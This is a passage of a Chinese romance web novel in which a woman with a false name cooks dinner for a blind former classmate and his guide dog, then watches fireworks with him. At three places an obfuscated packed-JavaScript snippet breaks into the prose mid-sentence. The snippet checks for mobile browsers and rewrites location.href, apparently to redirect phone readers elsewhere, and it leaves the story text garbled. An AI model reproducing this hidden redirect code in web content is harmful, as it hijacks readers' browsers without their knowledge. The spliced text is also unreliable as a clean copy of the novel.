在没能和汤骏年重逢之前,她在街头完全不会去注意红绿灯转换时是否会发出声音,不会去注意被占满的盲道。或者说注意到也不会去费力气挪开,毕竟她也几乎没看到有盲人使用盲道,它已经成了另一种意义上的停车场,这似乎成了大家默认的事。 而她能做到的就是不主动去走那儿,但也并非是为了盲人着想,只是觉得走盲道硌脚。 生活在这个由“正常人”占大多数的世界里,她也作为一个某种意义上的“正常人”同样享受着理所当然的便利。 想到这里,虞谷秋的心里堵得慌。 那位听障骑士在担心她的奶盖会化,而她在担心他是不是不怀好意想伤害她。 她辜负了对方的好心,奶盖早已化了。 汤骏年大概能感受到她沉默中蔓延的愧疚,轻描淡写道:“只是误会,你不用想太多。” “虽然是个误会,但是……” “你只要想象成平行宇宙,谁都没有错,我们只是在不同的世界里。” 虞谷秋敏锐地察觉到他在对话中,不自觉地将代词变了,不是你和他,而是我们。 我和你,你和他,我们都在不同的世界里。 通话终于断了,不可思议的时常,2小时13分钟37秒。她的人生里从未有过和人在夜晚进行如此漫长的通话,他们的人生中共享了两个多小时,两个人的关系理应在这个夜晚靠近了一点点。 但事实却相反。 她觉得他们之间更遥远了。 * 虞谷秋睡前打赏了骑手表示了感谢,躺在床上的时候又突然想起,今天的汤骏年没有给自己出考题。 她看着他们的对话框,再度生出了靠近的怯意。 反反复复输入,又反反复复删去。 就在这时,她看见了对方正在输入中的状态。 虞谷秋怔愣着停下手,点开汤骏年发来的一条语音。 是无需她提醒他自己也想起来了的考题。 这次的语音很长,足足60秒,但内容却很重复,频率稳定的翻动书页的声音,错不了。 这次换她无比肯定地回答:“翻书的声音。” “正确。” “你录那么长要答错都难,我听得差点直接睡着。” “那很好,祝你今晚睡个好觉。” 虞谷秋这时后知后觉到,汤骏年是有意为之。 在这个情绪像过山车一般的夜晚,这个白噪音般催眠的声音是他对她的安慰。 虞谷秋外放着声音翻了个身,枕头摩擦着耳朵,痒痒的,心中的那点怯意在翻书页的声音中也随之被翻过,新的一页被翻开。 她拿过手机,对着那头的汤骏年说:“我明天请你吃饭吧,你不能拒绝我。” “为什么?” “因为今晚欠了你很多人情。”她说着实话,虽然这实话里包裹着私心,“我向来不喜欢欠人人情,所以如果你不想让我请你一顿,我会一直吃不好睡不好。” “……再说吧。” 他的回答听上去似乎很为难。 但这样的回答在虞谷秋听来无异于“可以”。 她慢慢将脑袋埋入被窝里,手指滑动着再次点开微信的声音。 书页一页一页地翻动着,闭上眼睛,如同身在高三的夜晚,晚自习间班级安静得过分,就剩书页翻动的声音。 她听着这样的声音,总忍不住打长长的哈欠,但又怕来自于班主任在窗外的凝视,困意在担惊受怕中来回拉扯,但心理最后不敌生理,头一歪睡了过去。 醒来时,她发现自己的面前有一本立起来的习题本,角度放得很巧妙,配合着她垂头的姿势,从窗外的角度看会有一种她一直在钻研习题本的错觉。 她问同桌,是你帮我弄的吗? 同桌摇头,朝汤骏年的座位努嘴说,是班长刚才发的习题本。 她后来一直没问汤骏年,是故意还是就凑巧放成了那样呢? 那时她害怕被他认为自作多情——将他随手的举动解读为掩护自己睡觉。可若是她当时去确认一下,或许事实就是这样。 不是她自作多情,而是她明白地认识到,他就是那样润物细无声的人。 这一晚听着翻书页的声音,虞谷秋在梦里再次回到了教室。 晚自习结束的时候,她跑了上去,叫住了背着单肩包走入自行车棚的少年。 他回过头,瞳仁里辉映着整栋教学楼的明亮灯光。 她朝汤骏年说谢谢,我明天请你吃食堂吧。 而他会怎样回答呢? 虞谷秋睁开眼睛,怅然若失地醒了。 * 第二天,虞谷秋主动跟汤骏年说了早安,目的自然是邀约时间。 她知道这次邀约不会顺利,但他既然说了再说,她就拿出再说的耐心来,他说今天不行,那她就提议明天,说明天不行,那就大后天。 她给汤骏年的回复里说,反正我有一辈子的时间。 不知道是不是这句话把他给震撼到了,他拒绝过的人里大概没有如此胡搅蛮缠的,或者说自从他盲了之后,再也没见过如此胡搅蛮缠的了,于是她心满意足地收到他的松口。 “那就今天吧。” 虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16531151|185335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谷秋心里暗叹,披个马甲就是好,不要脸起来也是理直气壮。 她主动包揽预定餐厅的工作,根据高中时期在食堂观察过他的点餐来看,若口味没大变,汤骏年应该会喜欢酸辣的菜色。 午休的时候她刷了一小时的网上推荐,找家餐厅不难,可若是要找一家第一次和汤骏年吃饭的餐厅就很难了。 她想给他留下好的体验,这样子再约出来第二次就不再是难事了吧?所以食物必须得好吃。 终于,在午休结束前,虞谷秋瞄准了一家紫荆花园附近的云南餐厅,像网警一样翻了所有的差评,直到确认没有太过分的内容,便立刻打电话跟对方预约了位置。 直到预定成功的短信发进来,她心里的大石头才落地,把地址发给汤骏年。 本以为万无一失,可汤骏年的一个问题让她迟疑了。 “这家餐厅有外座吗?没有的话可以允许飞飞进入吗?” 虞谷秋一愣。 汤骏年坐在店外唯一张桌子吃饭的画面猛地蹿入脑海——服务员说他自愿坐在店外吃饭。 她感觉可笑地咬住牙关,原来啊,原来是这样的“自愿”。 “我现在和店里确认。” 在打去电话之前,虞谷秋先做了下功课,得知的确有导盲犬可以进入公共场所的规定,于是底气十足地拨通了电话,势必不让汤骏年再被隔在店外。 “您好,我是刚刚预定了餐厅的吴女士。我的同行人会带一只导盲犬,没问题的吧?” “啊?” 接电话的女生呆了一下,感到为难地说:“稍等,这个我得请示一下我们上级。” 片刻后,女生委婉地向虞谷秋说不方便进入。 “因为我们的客人有一些可能会对狗毛过敏之类的,如果发生意外事件……我们也不好处理,希望小姐姐您能体谅一下这个情况哈。您看看要不要换一个允许宠物进入的餐厅呢?” 对方搬出其他客人的名堂,好似她据理力争下去是她在强人所难。 虞谷秋觉得自己当然可以再争,但不知为何,听到宠物两个字,她的愤怒被切割成一片一片的无力。 “导盲犬不是宠物。” 她挂前说道。 虞谷秋握着手机呆坐了一会儿,终于理解了汤骏年那句“再说吧”的含义。 原来在外头吃饭并不是他们两个之间达成协议就好,还需要第三方的首肯。 也许她再换一家,还会收到同样婉拒的回复,直到一家家找下去,当然能找到能包容他们的。 可这样的过程足以消磨掉食欲,只剩下饱腹的憋闷。 他们只是想吃饭的普通人,飞飞也是一条工作很努力的小狗。 等到他们真的进到餐厅,飞飞为了不影响到别人,还只能把自己缩在座位最角落。若是想要慢慢地用餐,对它来讲是难熬的酷刑吧。 想着那个画面,虞谷秋深深地揪起了心。 她对几分钟前,凭着搜了一句规定就雄赳赳气昂昂的自己感到可笑。 说白了,这条规定不过是另一条被占满的盲道。 就算她再怎么不愿意承认,他们所生存的世界的确是不同的。而汤骏年的世界到底有多小呢?只有家和工作地这两点之间吗?没有任何新鲜感的生活不会让人厌倦吗? 疑问蜂拥而来,虞谷秋下定了决心。 她还是要找一家餐厅,让汤骏年踏出他的世界瞧瞧。 但她不想经过那种不愉快的过程了。 所以——“我换了另一家餐厅。”她给汤骏年发去消息,“不用顾虑地带飞飞过来吧!” 过了一会儿,汤骏年不放心地回复:“跟店家确认过了吗?” 虞谷秋笑着说:“店家表示热情欢迎。” 她这次给他发过去的地址,是她的家。 11.第 11 章 汤骏年可以说是被她骗过来的。 她并非直接告诉他来家里吃饭,只说是家附近的一家餐厅,然后问了汤骏年的地址打算去接他,汤骏年原本坚持自己可以打车,但虞谷秋也坚持要去附近办事,可以顺便接他。 她提前做了一些导盲犬相关的功课,知道它们只能熟悉固定的路线,对于陌生的路线并不具备领路的功能,这就需要他人的指引——也就是她上场了。 因此,她终于顺理成章要到了汤骏年工作的地址,虽然她早已经知道,但这和他主动告知她有天差地别。 距离他今天的下班时间还有一点,虞谷秋已经来到了清身盲人按摩馆前。 再次来到这里,短短数日,心情却截然不同。 她不再提心,也不再沉重,而是翘首以待。 耳机里的歌放到“令梦中荒野盖满荷花”,虞谷秋一眨眼,看见了梦中的人在不远处出现。 他牵着飞飞从店里走了出来,虞谷秋用力挥手,并大叫他的名字。 “汤骏年!” 虽然知道他看不见,她还是一直挥着手,直到小跑到他跟前。 汤骏年的头又微微转了转,望向她的方向。 “有等很久吗?” “不会,才刚到。” “等会儿就麻烦你带路了。”他晃了晃狗绳示意,“你叫飞飞的名字,它会跟你走。” “真的吗?” 虞谷秋好奇地蹲下身对上拉布拉多的眼睛,试探地叫了一句飞飞。 狗狗便摇晃着尾巴,眨巴着眼睛看着她。 虞谷秋一下子克制不了怜爱,很下意识地想伸手摸摸它。电光石火间,被汤骏年提前叫住了。 “你不能摸它。”他解释道,“这样会扰乱它工作。” 虞谷秋连忙将手背到背后,尴尬地站起身。 “我没有想摸它。”她紧急澄清,“真的,我知道不能在工作时候摸它。只是刚才它实在太可爱,我有点鬼迷心窍……” 汤骏年的脸上难得露出很淡的笑意,低下头揶揄地对着飞飞说:“看来是你的错了。” 飞飞无辜地继续晃着尾巴。 虞谷秋走在前面,不断回头确认跟在身后的飞飞和汤骏年。 真的很神奇,真的只是叫了一下它的名字,它就像一个目不斜视的士兵跟在将军身后一般跟着她,绝不会偏移。不过也有例外的时候。 走到某处时,虞谷秋发现飞飞的脑袋歪向别处,她顺着望过去,发觉街边正停着一辆三轮,摊主拿着一大捧将脸淹没的气球大声叫卖着。 而令飞飞看傻眼的是一个正在遛狗的女人买下了其中一只气球,并把气球绑在了小狗的身上,小狗肉眼可见地欢快,傻乎乎绕着自己的身体转圈圈。 虞谷秋将这个画面描述给汤骏年,告诉他:“飞飞好像也想要那个气球,眼巴巴地看着呢。” 汤骏年为难地想了一会儿,说:“气球可以买,但不能绑它身上。” “那绑谁身上?” “你或者我。” “……那还是算了吧。”虞谷秋低下头对飞飞说,“我知道工作偶尔会想要摸鱼玩,今天我们就先忍一忍!” 走出气球三轮车,汤骏年忽然在她身后轻声说:“谢谢你告诉我这个。” “什么?” “我以前都不知道飞飞在路上会注意到这些。”他喃喃,“它原来也是个爱贪玩的小狗啊。” * 两人一狗进了地铁,地铁的工作人员又很热心地引导着他们,像上次一样把汤骏年一路上送上车厢,尽管汤骏年说不必。 接着,虞谷秋就感受到好奇的目光纷纷向他们所在的角落涌过来。 上次隔了一节车厢,虞谷秋并没有发现那些目光原来很赤裸。 有些生理健全的人喜欢凝视那些并不健全的人,明明毫不相干,但某种居高临下的伪善又会让他们觉得这种凝视不妥,瞥到便匆匆克制地移开目光。 可对于看不见的人,那连这层顾虑都没有了。 更何况还是一个带着导盲犬的盲人呢。他不会感受到冒犯,还可以满足不常见的猎奇心。因此,有人甚至掏出了手机在偷拍,不是拍人,而是拍更不常见的导盲犬。 虞谷秋怒从心头起,不动声色地迈了一步,严严实实地挡住镜头,并向对方明显撇去一瞥。 对方脸色尴尬,若无其事地低下头假装玩手机。 到了换乘站,人潮汹涌着上下车厢,汤骏年忽然对她说:“应该有位置空出来吧?你去坐着,不用跟我一起站在这里。” 虞谷秋看着空位说:“已经都坐满了。” “真的?” “真的。” 地铁晃荡着,人来来去去,座位空了又满,虞谷秋像个骑士,一路站在汤骏年和狗狗的身边。 * “就是这里吗?”他问。 出了地铁,虞谷秋领着汤骏年一路向小区走去。 “那家店不好找,在小区里。”虞谷秋如今撒谎已经面不改色,“还剩一点点路了。” 汤骏年不疑有他。 走到家门口前,虞谷秋更庆幸自己租的是一楼,省去了很多不必要的麻烦。 不过此时,汤骏年已经察觉到了异样,这里过分安静了。 他立刻停下脚步问。 “我们到底要去哪儿?” 这话问得着实令虞谷秋心虚,她的气势顿时从引路的将军变成了虚弱的人狗贩子。 她干脆不吱声,掏出钥匙将门打开,铁门拉开的动静在沉默中异常刺耳,跟着慢吞吞地交代实话。 “——我家。” “……” 汤骏年愕然地站在原地,张了张嘴,又闭回去。 半晌,他面无表情道:“我现在走还来得及吧?” “我菜都备好了!”她急吼吼地说,生怕他掉头真走了。 他神色严肃。 “你不应该骗我。” “不骗你你肯定不愿意来家里啊。”虞谷秋小声。 “我会来的。答应过别人的事我不会反悔。” 虞谷秋却在心里默念了一句你才是骗子。 你当年还说答应要跟我一起看电影,最后不就是反悔了吗? 她却无法说出证据,只好狡辩道:“我也没算骗你,餐馆里不是有一种类叫私房菜吗,你就当作来吃私房菜……” “不管怎么说,隐瞒信息就是欺骗。”他叫出她的‘名字’,“吴冬,不要有下次了。我不喜欢别人骗我。” 虞谷秋心里咯噔一声。 在这个要命的节骨眼,他念出的还是她骗他的假名。 她干巴巴地说了句知道了。 两方都陷入沉默。 最终,汤骏年妥协说:“下不为例,那今天就麻烦你了。” 他语气比之前都要客气,牵着飞飞慢慢进了门。 虞谷秋看着他的背影,喉咙被掐住的感觉,跟在身后垂头丧气地关上门。 她知道自己弄巧成拙了。 如果她没有撒谎,按照自己的想法实话跟汤骏年说……气氛就不会这么尴尬。 但更让虞谷秋低落的是,今天这番交谈让她知道自己完蛋了。 她亲手埋下了一颗地雷,不知道未来哪一步踩到,然后将把他们的关系炸得碎裂。 也许最好的办法,就是现在坦白。 ——但是,这个谎言就不是那么轻飘飘可以盖过去的。 如果说了,大概只是将他们关系碎裂的时间提前到现在。一段建立于谎言之上的关系,地基都抽掉了,还能剩下什么? 虞谷秋后知后觉地意识到她已走进死胡同,没有办法回头。 只能瞒到底……反正他也看不见,不会知道的。 下定决心,她一扫心头的阴霾,若无其事地招呼汤骏年坐下。 “你去沙发上坐着就好,飞飞可以坐我的懒人小沙发。” 即便他看不见,屋里她还是临时打扫了一番,虽然和一尘不染这四个字相距甚远,但至少沙发上原来堆成小山的衣服都塞进衣柜里了。 杨芩之前来家里找她玩,看见她的房间曾吓一跳。 松散挂在沙发上的衣服,水槽里堆着昨夜没洗的碗,茶几上凌乱叠着的书。这一切怎么都无法让她联想到养老院里什么脏活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541862|185335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 累活都干且干得漂亮的虞谷秋。 杨芩当时震惊无比,说我以为你私下里也是个勤快的人。 虞谷秋不以为意,因为那是工作啊。 杨芩想不通,嘟哝你这么会照顾人,却原来不晓得怎么照顾自己。 虞谷秋不想解释懒惰才是她照顾自己的方式。 从小打扫养父母家里的一切,长大后打扫老人们的一切,她习惯了这种方式,这是她的工作,所以没有关系。 只剩下她一个人的时候,她终于有权利解放自己。 汤骏年松开了狗绳,解开了它的小衣服,蹲下身摸了摸飞飞的脑袋,似乎这是一种告诉他下班了的信号,然后拍了拍它的屁股,它便一溜烟地满屋乱蹿,跟刚才被牵着的乖样截然不同。 他伸出手在空中打了几个响指:“飞飞,不要在人家家里捣乱。” 虞谷秋却笑着说:“没有关系,它现在饿吗?我也给它准备了晚餐。” 他略带诧异道:“你给它准备了?” “水煮鸡肉拌南瓜。”她把菜端出来,“它可以吃吗?” 汤骏年不自在地抿了抿唇,点点头。 “那太好了。”虞谷秋将它端到飞飞面前,招呼道,“私房小餐馆的第一道就让我们飞飞享用了。这可是别家私房菜都不会有的独家菜!” 汤骏年一言不发地看着。 虽然这么说很奇怪,但她抬起头时,就看到汤骏年微微垂着头,朝着她们的方向,似乎他能看到这一切。 “你现在可以摸摸它了。”他忽然开口。 “可以么?” “嗯,下班了想怎么摸都行。” 虞谷秋面色一亮,不客气地朝着飞飞的大脑袋呼噜过去。 狗狗专心低头干饭,一边自动将脑袋伸过来一些,很识时务以这种方式为自己支付着“餐费”。 她依依不舍地收回手,毕竟还有一张嘴巴要喂,赶紧站起身走向厨房。转眼看到汤骏年闻声想跟过来,连忙阻止他:“你干嘛呀,坐着就好了。” “我可以帮你打下手。” “不用的,你见过去饭店吃饭还要去后厨帮忙的客人吗?” “没有。但我也没见过会为飞飞准备晚餐的饭店。” “……顺手的事。” “我帮忙也很顺手,你不相信吗?” 锅里的汤刚才已经炖上了,毛血旺她怕自己做得不好叫了外卖还没到,米饭正在煮,现下再炒一道青笋虾仁就差不多了。 他想要有参与感,那就给他参与感吧。 虞谷秋妥协说:“那……你来帮忙洗一下芦笋好了。” “好。” 他脸上的神情放松了一些,沿着墙壁继续摸索着走过来,虞谷秋疾走他身边,不需要他教,背对着他拍拍自己的肩膀说:“我带你走过去。” 这是专业领导盲人走路的姿势,让对方把手搭在肩上,她都事先查了。 “……谢谢。” 惊讶再次浮过他的脸,汤骏年迟疑地伸出手,慢慢在引导下将手放到了她的肩膀上。 他把手放上来的刹那,虞谷秋想起了那天陪林淑秀去的探戈俱乐部,想起了在舞池里看到的成双成对拥抱的人群。 虽然,此时他们和那些人唯一的相似之处就只是一只手的连接,但他们的身体在这一刻也连接在一起,她的步伐带动了他的步伐,他的感官完全依赖着她。 他们就像是背对着慢慢游走的探戈。 心神不宁地将人带到了水槽边,感受着他的手松开,虞谷秋砰砰跳的胸口才得以缓解。 窗外,夕阳余晖被蓝色慢慢压过,寻常的那些声音照例响起:楼上的人练琴,隔壁的人打开电视,窗外的人散步聊天,车水马龙。 她往常是沉默的,而这个傍晚,她也加入到这些声音中,成为烟火气中的一部分,清清嗓子,将袋子里的芦笋抽出来递过去说:“在这里哦。” 汤骏年嗯了一声,手便从空中摸索过来。 虞谷秋这时倏忽走了下神,听到楼上的琴声今天练得不是很顺利,有半秒的空拍。 那半秒的空拍,汤骏年错抓到了她的指尖。 12.第 12 章 “您的外卖到了!” 门外一阵敲门声,虞谷秋小跑着过去开门,把送到的毛血旺拿到厨房重新装碗。 这么一进一出,她的心跳依然很快,但已经变成了运动的生理性加快,不与汤骏年关联。 至于汤骏年,他则是一句语速很快的抱歉,便低头去摸水龙头,一点不慌乱,也看不到她的慌乱。 虞谷秋本来还想去引导他,但又怕两个人的手再度碰到,便用声音提醒他位置,一边注视着他的动作。 这一注视中,她仔细地看到了汤骏年的手。 记忆中,他有一双和脸一样英俊的手。那双手适合戴着名表,珍珠,银戒,等等,只有那些优雅的东西足够与之相衬。 但现在她视线中的手,掌根,指腹,拇指的虎口,明显的几处老茧,不明显的就更多了。 那是长年累月被命运反复施力后磨出来的痕迹。 不光如此,还有一些不知是什么伤口留下的疤痕,有的像是刀伤,有的像烫伤。 直到汤骏年问她这些芦笋要不要帮忙切块,她意识到什么,便问道:“你手上的伤……是做饭留下的吗?” 汤骏年微微愣,尔后想了想说:“不止是做饭。” “那还有什么?” “忘了。” “……” “这没什么的,手就是我的第二根盲杖,工具用多了就容易磕磕碰碰,很正常的。”他笑笑,“不过现在已经不太会受伤了。” 虞谷秋慢慢地揪起眉头,但不再说我来,刀柄的方向冲着汤骏年,和菜板一起推了过去。 她想尊重他同生活抗争后留下的这些伤口。 汤骏年碰到刀柄,先是试探着刀背的位置,另一个手指划过去,丈量着总体的长度,再然后拿起刀掂了掂,按着芦笋每节的凸起处准确无误地切下去。 他每切一次,虞谷秋就忍不住屏一次呼吸,生怕刀口有一厘米的偏差,那就直接切中手指了。 即便她愿意相信他,可就是止不住担心。 汤骏年一边切,一边冷不丁问:“你现在是不是在看着我?” 虞谷秋收起目不转睛,嘴硬说:“没有啊。” “我没听见你的声音。” “呃……”她转头拉开橱柜门,“我刚才是在思考用哪个碗而已。” “不用担心我。”他强调道。 “没有担心你。主要是你抢着活做,我都没什么可做了。”虞谷秋叹口气,“真的,你切完这个就去坐着休息吧,我炒一下虾仁出锅就能开饭了。” 这一次汤骏年不再坚持,点点头,迅速地就将芦笋切完放下。 离开厨房时他甚至不再用她帮忙,说刚才走一遍脑子里就有大致的地图了。 虞谷秋好奇地杵着脖子看,真的看见他没什么障碍地一边摸索一边走出去,然后在沙发上安静地坐下来。 此时已经吃完饭的飞飞亲昵地扑上汤骏年的怀抱,他抱住它,在月亮升起中的柔光中耐心地替它梳理毛发。 这一幕与自己无关,可虞谷秋仍感受到了幸福。 一种需要与被需要所组成的幸福。 * 菜全部端上来时,虞谷秋又开始紧张起来。 现在的场景就连在梦中也不会出现。汤骏年在她的房间,用着她购置的碗筷,即将和她面对面吃一顿算是他们一起共同完成的晚餐。 她吃惯了自己的菜,有时候分辨不出来好坏。不知道他会怎么认为?虽然她知道碍于礼貌,无论好不好吃他肯定都会评价好吃。 于是,虞谷秋特别注意他吃进第一口的表情,可是他就连吃饭的表情都滴水不漏。 “很好吃。” 果然,他比她预想得更礼貌,还加了一个“很”字。 既然找不出漏洞,那姑且就收下这份表扬吧。 虞谷秋高兴地举起筷子,一边细致地告诉汤骏年其他菜色的方位,以汤为圆心的三点钟方向,六点钟方向……汤骏年自然察觉到她的这番话术不寻常,普遍不会这么介绍菜色的位置,只有了解过盲人如何方便感知方位才会这么说。 他想说点什么,又觉得嗓子发干,摸到一旁的杯子喝了口水。 虞谷秋一口气说完,汤骏年沉默地点点头,两个人终于全面开动。 毕业后租房子住以来,除了工作大部分时间都是自己一个人吃饭。但虞谷秋不讨厌,还挺享受一个人吃饭的时间,可以找一部自己喜欢的剧边看边吃。 如果要和别人吃饭,她会觉得今天就少看了一集,很浪费时间。更重要的是,和别人单独吃饭要时刻提着心怕冷场,如果是多人聚餐就会好一些,说话热气氛的重任通常不会落在她头上。 不过今天这顿饭,她早已做好了觉悟,势必不能冷场,脑子里也想好了一些问题可以抛给对方。 她刚要开口,汤骏年却先一步问她:“你平常吃饭会干什么?” “啊?”虞谷秋老实说,“看剧。” “你可以看剧,不用管我。” 虞谷秋戳了戳饭,猛地一鼓作气道:“可是今天我更想和你聊天。” 汤骏年夹虾仁的手一偏,夹空了。 “我不太会和人聊天。”他说。 “没关系,我也不太会。” 虞谷秋又想起探戈里遇到的那个年轻陌生人对她说的一句话,觉得此刻正好可以搬出来救场。 “菜鸟互啄,我们谁都不用怕冷场了。” 汤骏年却露出好奇的神色。 “菜鸟吗?可是我觉得你不像是不擅长和人交谈的样子。” “啊,有吗?” “你很会主动靠近别人。”他口中的这个别人自然是指他自己,“所以我以为,你应该是很外向的那类人。” “那你这是对我最大的误解了。”虞谷秋苦笑,“其实我的人生里从来没有主动靠近过谁。至于你……”她半真半假道,“如果不是因为任务,我也不会厚着脸皮的。” “是么?”他沉吟说,“那你应该很讨厌给你造成难题的我了。” “当然不会!”虞谷秋着急忙慌道,“我喜欢一个人不一定会接近他,但我讨厌一个人就绝对不会接近他。” 汤骏年露出思索的表情,似乎在想接下来的问题合不合适,虞谷秋看着他的迟疑,主动说:“怎么了吗?” “有些好奇而已。”汤骏年想了想,“可能有点冒犯,只是喜欢一个人,为什么不一定想接近对方?” 这个问题问得虞谷秋一愣。 她不知怎么回答,干脆反问他:“所以你一定会接近你喜欢的那个人吗?” “我会的。但我不会着急,得慢慢找到合适的时机。”他语气一顿,“不过现在不会了。” “……为什么?” “这个问题的答案不是显而易见的吗?” 他并不痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这些年都是这样,我没办法和人构建亲密关系,我知道我是不正常的,不过比起真正需要帮助的人,我似乎又是正常的,那些并发症并没有找上我。你上次说我们都在不同的世界,但好像……无论哪边的世界,都没有我的位置。” 虞谷秋怕气氛太沉闷,立刻高昂着语调,玩笑说:“还好你看不见,不然我也不敢告诉你。所以你看,看不见对于某些人——至少对我而言,是一件没有负担的好事情。我相信还会有其他的人这样觉得,所以你一点没必要退缩。” 汤骏年平静地听着,他脸上的神色让虞谷秋觉得莫名熟悉,一个恍神,她想起了林淑秀。 他们的亲缘在这一点上竟莫名相通了——面对她如履薄冰却故作轻描淡写的袒露,他同样给予了令她心安的反应。 沉默片刻,他说:“你劝我不应该退缩,可关于你自己却截然相反。” 虞谷秋一时语塞。 汤骏年瞳孔的方向再度吃力地找着她的方向:“下次要再劝我的话,不如先以身作则给我看。” 虞谷秋的心在这一瞬间砰砰砰地乱跳起来。 她吞咽了一下,好像喉咙里有什么东西正在发芽。 接着,堵住喉咙的泥土扑簌簌地掉落,芽爆开了枝。她手微抖地举起筷子,夹起刚才汤骏年没夹成的虾仁,心如擂鼓地丢向他的碗中,一句话畅通无阻地脱口而出。 “……我现在正在以身作则呢。” 13.第 13 章 或许是她说的声音太低,汤骏年真的没听清,又或许是他听清了却故意装傻。总之,对于她那句有些越界的话,汤骏年给出的反应是——“你在说什么?” 虞谷秋咬了下嘴唇。 很快,她若无其事地说:“我说我给你夹了虾仁。” 汤骏年的筷子碰了碰碗中,点头道:“谢谢。” 他的吃相很斯文,虽然很缓慢,但吃得干净,若不去看他的眼睛,其实很难想象这个人原来看不见。 虞谷秋看着他很给面子地吃光了一碗饭,问他还要不要再添点时,他轻轻摇头,并坚持在离开前将碗筷洗干净。 她由着他去,趁着汤骏年在洗碗的空档时,去房间里抱出了一样东西放到阳台。 等他洗完叫她的名字时,虞谷秋却没有回应他。 取而代之的,是厨房边的阳台上传来了一声凌空的砰响。 砰砰,又是两声,似乎有什么东西在空中持续地炸开。 汤骏年还没反应过来,虞谷秋已经将人推着后背到了阳台边上。 “这是我今天给你的考题。”她仰脸望向天空,“难得今天能请到你,所以就不用手机录给你了。应该很好猜吧?” “这是……” 他并肩与她站在一起,也跟着面向夜空。 “烟花?” “会不会有些太简单了?”虞谷秋笑道,“要不然你猜猜接下来这一束是什么颜色再算你过关。” 汤骏年听后失笑:“你这样算不算欺负我看不见?” 他的玩笑令虞谷秋微怔。 刚才并没有被回应的失落转瞬被这句玩笑代替——他竟能将这一点同她玩笑。 虞谷秋于是借坡下驴道:“是啊,就是欺负你看不见!” 两个人说话间,一颗烟花落下,接下来的一束立刻就要腾空。 虞谷秋着急地晃了晃他的手臂:“快快,要来了——” “红色吗?” 金色的光芒映在汤骏年的脸上,他一脸好奇地说,是红色吗? 虞谷秋的目光早已从夜空挪到了他的侧脸,呆了一下后才记得出声回答。 “不对,猜错了。” “可惜。” “那我不欺负你,再给你一次机会。” “我说的不是这方面的可惜。”汤骏年仍仰着头,喃喃,“红色的烟花……应该很美吧。” 虞谷秋的心被这句轻微的感叹刺了一下。 她紧接着看向夜空,大脑疯狂运转,绞尽脑汁地想着该怎么形容才能让汤骏年生动地感受到这一切。 然而脑子里干巴巴的,所有的形容词都显得苍白,曾经让她引以为傲的作文本领毕竟已经是很遥远的事情了。 慌张中,她试着闭上眼睛,跟汤骏年一起只是聆听着烟花的声音,再从烟花的声音中想象着烟花的样子。 这一刻,福至心灵。 她紧闭着眼,快速地说:“与其说是美,不如说是调皮。” “调皮?” “烟花的形状很像天空拉开了一罐芒果汁的拉罐,它拉得很大力,然后砰的一响,金黄色的汽水溅满了它的黑色衣服。” 她调动了视觉以外的,他可以感受到的感官向汤骏年描述。 “是吗?” 她不确定他是不是在笑,只是觉得他这一刻的声音非常温柔,说着:“我好像真的闻到芒果汁的味道了。” 话音刚落,又一束烟花腾空了。 虞谷秋听见汤骏年接着问道:“这一次天空拉开了哪种口味的汽水?” 她闭着眼睛胡乱回答:“是蓝莓。” 红色的光芒映照在阳台两个看不见的人脸上,虽然其中一人是故意选择了不看见。 汤骏年点点头说:“原来是深蓝色吗。” 虞谷秋自信十足地嗯了一声。 此时,面前的烟花已不再重要。它是连通她和汤骏年世界的一种介质,通过他们都能听见的声音,在这个声音里,他们共同地想象着各种口味的烟花。 * 虞谷秋领着飞飞,飞飞又领着汤骏年来到他平常到达的地铁口时,这个对她来说转瞬即逝的夜晚就要结束了。 “麻烦你送到这里。” 汤骏年轻晃了下狗绳,飞飞居然抬了下前爪,那个姿势很像是“再见”。 虞谷秋又忍不住大惊小怪:“飞飞在和我拜拜吗?” “或许是。” “这也太可爱了。”她顺势说,“这样我反而不舍得和它拜拜。” “嗯?” 汤骏年此时大概还没意识到他已经上套了。 虞谷秋直直盯着他,理直气壮道:“所以我再送他一程吧?反正离你家也不远了。” “……” 又是一番来回交锋,最后虞谷秋心满意足地继续走在了最前头。 只不过二十分钟后,她就为自己的这个举动付出了代价——汤骏年家的楼层依然没有修好灯,不知道是他真的不在乎还是反映了但没人来修,于是在这片黑灯瞎火中,虞谷秋毫无防备地踩上了一根尖锐的东西。 她猛地停下脚步,痛得眼冒金星,整个人嘶声叫着蹲到地上。 “怎么了?!” 汤骏年不安的声音传来,虞谷秋第一时间大喊:“先别动!” 疼痛越来越鲜明,虞谷秋疼得站不起来,一屁股坐在地上,伸手脱掉了鞋子,同时拿出手机一照——鞋底此时竟然卡着一颗长钢钉。 刚才一脚下去,钢钉径直穿透了薄软的单鞋底,直刺进肉里,尖头上此时沁着血。 “我踩到钢钉了……怎么会有钢钉?” “钢钉?” 汤骏年脸色骤然一变,似乎意识到什么。 虞谷秋不经意地瞥了眼被手机电筒光照到的周围,后背瞬间布满鸡皮疙瘩。 不止这一根。 